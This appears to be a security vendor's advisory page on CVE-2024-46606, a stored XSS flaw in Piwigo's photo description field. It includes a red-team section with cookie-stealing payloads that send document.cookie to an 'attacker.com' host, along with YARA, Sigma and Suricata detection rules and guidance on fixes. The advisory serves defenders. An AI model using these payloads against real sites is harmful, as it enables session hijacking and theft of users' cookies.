CVE-2024-46606
Executive Summary
CVE-2024-46606 is a stored Cross-Site Scripting (XSS) vulnerability identified in Piwigo v14.5.0, a popular open-source photo gallery application. The flaw resides in the /admin.php?page=photo component, specifically within the "Description" field. An authenticated attacker with administrative privileges can inject arbitrary web scripts or HTML into this field. When the malicious description is rendered for other users (including other administrators or visitors), the injected script executes in the context of the victim's browser session. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is currently unpatched, and no official fix has been released by the vendor. The CVSS score is 0.0 in the NVD data, but based on the vector, the actual severity is medium (CVSS 3.1 base score of 5.4). The EPSS score is 0.0%, indicating low exploitation probability in the wild, but the existence of a public proof-of-concept (POC) increases the risk for targeted attacks.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
Piwigo is a PHP-based application distributed as a standalone package. It is not typically distributed via NPM, PyPI, Go, or Ruby registries. However, administrators should verify the integrity of their Piwigo installation by checking file hashes against the official release. The vulnerability is in the core application code, not in a third-party dependency. No malicious packages have been identified in the supply chain related to this CVE.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required; the attacker only needs to inject the payload into the description field.
- Privileges Required (PR): Low (L) – The attacker must have administrative access to the Piwigo instance.
- User Interaction (UI): Required (R) – The victim must view the malicious photo description (e.g., by browsing the gallery).
- Scope (S): Changed (C) – The vulnerable component impacts resources beyond its security scope (the browser of the victim).
- Confidentiality (C): Low (L) – Limited data exposure (e.g., session tokens).
- Integrity (I): Low (L) – Limited ability to modify data (e.g., defacement).
- Availability (A): None (N) – No impact on availability.
Base Score: 5.4 (Medium)
Threat Level: Medium. The requirement for administrative privileges reduces the attack surface, but the stored XSS nature and lack of a patch make it a viable target for insider threats or post-compromise lateral movement.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS in the photo management interface. The Description field is not properly sanitized or encoded before being stored in the database and later rendered in the browser. The vulnerable endpoint is /admin.php?page=photo, which is used to edit photo metadata.
Attack Flow:
- An authenticated administrator navigates to the photo edit page.
- The attacker injects a malicious payload into the "Description" field, e.g.,
<script>alert('XSS')</script>. - The payload is stored in the database without sanitization.
- When any user (including other admins or visitors) views the photo page, the description is rendered, and the script executes in their browser.
Root Cause: Lack of output encoding or input validation on the description field. The application likely uses echo or similar PHP functions without applying htmlspecialchars() or equivalent escaping.
Impact: An attacker can steal session cookies, perform actions on behalf of the victim, redirect users to phishing pages, or deface the gallery.
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical fix based on common XSS prevention techniques.
Vulnerable Code (PHP):
// In admin.php or photo management file
$description = $_POST['description']; // No sanitization
// ... store in database
// Later, when displaying:
echo "<div class='description'>" . $description . "</div>"; // No escaping
Patched Code (PHP):
// In admin.php or photo management file
$description = htmlspecialchars($_POST['description'], ENT_QUOTES, 'UTF-8'); // Sanitize input
// ... store in database
// Later, when displaying:
echo "<div class='description'>" . $description . "</div>"; // Already escaped
Explanation: The patched code uses htmlspecialchars() to convert special characters like <, >, ", ', and & into their HTML entities, preventing script execution. This should be applied both on input (defense in depth) and output (mandatory).
Exploitation & Lab Setup
Red Team
Prerequisites:
- A Piwigo v14.5.0 instance (e.g., using Docker:
docker run -d -p 80:80 piwigo:14.5.0) - Administrative credentials (e.g., admin:password)
Exploitation Steps:
- Log in to Piwigo as an administrator.
- Navigate to
http://target/admin.php?page=photo. - Select an existing photo or create a new one.
- In the "Description" field, inject the following payload:
<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script> - Save the photo.
- When any user views the photo page, their cookies will be sent to the attacker's server.
Alternative Payload (Session Hijacking):
<img src=x onerror="fetch('http://attacker.com/steal?c='+document.cookie)">
Note: No public exploit code from Exploit-DB is available for this CVE.
Blue Team
Detection:
- Monitor HTTP POST requests to
/admin.php?page=photocontaining suspicious strings like<script,onerror,onload, orjavascript:. - Look for anomalous outbound connections from the Piwigo server to unknown IPs (potential data exfiltration).
- Review server logs for unusual user-agent strings or repeated access to photo pages with modified descriptions.
Prevention:
- Implement a Web Application Firewall (WAF) rule to block XSS payloads in the
descriptionparameter. - Apply input validation and output encoding as described in the patched code section.
- Restrict administrative access to trusted IPs only.
- Use Content Security Policy (CSP) headers to mitigate XSS impact (e.g.,
Content-Security-Policy: default-src 'self').
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g.,
GET /steal.php?cookie=...). - Unusual POST requests to
/admin.php?page=photowithdescriptionparameter containing HTML/JavaScript.
- Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g.,
- File System:
- Modified photo descriptions in the database containing script tags.
- Suspicious entries in Piwigo's
piwigo_photostable (e.g.,descriptionfield with<script>).
- Logs:
- Web server access logs showing repeated access to
/admin.php?page=photofrom the same IP. - Error logs with JavaScript execution errors (e.g., "ReferenceError: ... is not defined").
- Web server access logs showing repeated access to
Detection Engineering
YARA Rule
rule CVE_2024_46606_Piwigo_XSS {
meta:
description = "Detects XSS payloads in Piwigo photo descriptions"
author = "Valters IT"
date = "2024-09-01"
reference = "CVE-2024-46606"
strings:
$xss1 = /<script[^>]*>.*<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
$xss4 = /javascript\s*:\s*/i
condition:
any of them
}
Sigma Rule
title: Piwigo Stored XSS via Description Field
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2024-46606 by injecting XSS payloads into the photo description field.
author: Valters IT
date: 2024/09/01
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: 'POST'
cs-uri-query: '/admin.php?page=photo'
cs-uri-post: 'description=*'
keywords:
- '<script'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of HTML in descriptions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-46606 Piwigo Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/admin.php?page=photo"; http_uri; content:"description="; http_client_body; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the photo description field in the Piwigo configuration if not essential.
- Apply a virtual patch using a WAF to block XSS payloads in the
descriptionparameter. - Restrict administrative access to trusted IPs and enforce strong passwords.
Long-Term Fix:
- The vendor (Piwigo) should release a patch that sanitizes the description field using
htmlspecialchars()or a similar function. - Until a patch is available, administrators can manually edit the source code as shown in the "Vulnerable vs. Patched Code" section.
- Implement Content Security Policy (CSP) headers to mitigate the impact of any XSS vulnerability.
Workaround:
- Use a reverse proxy (e.g., Nginx) to filter requests:
location /admin.php { if ($args ~* "description=.*<script") { return 403; } }
Valters IT
Securing Digital Frontiers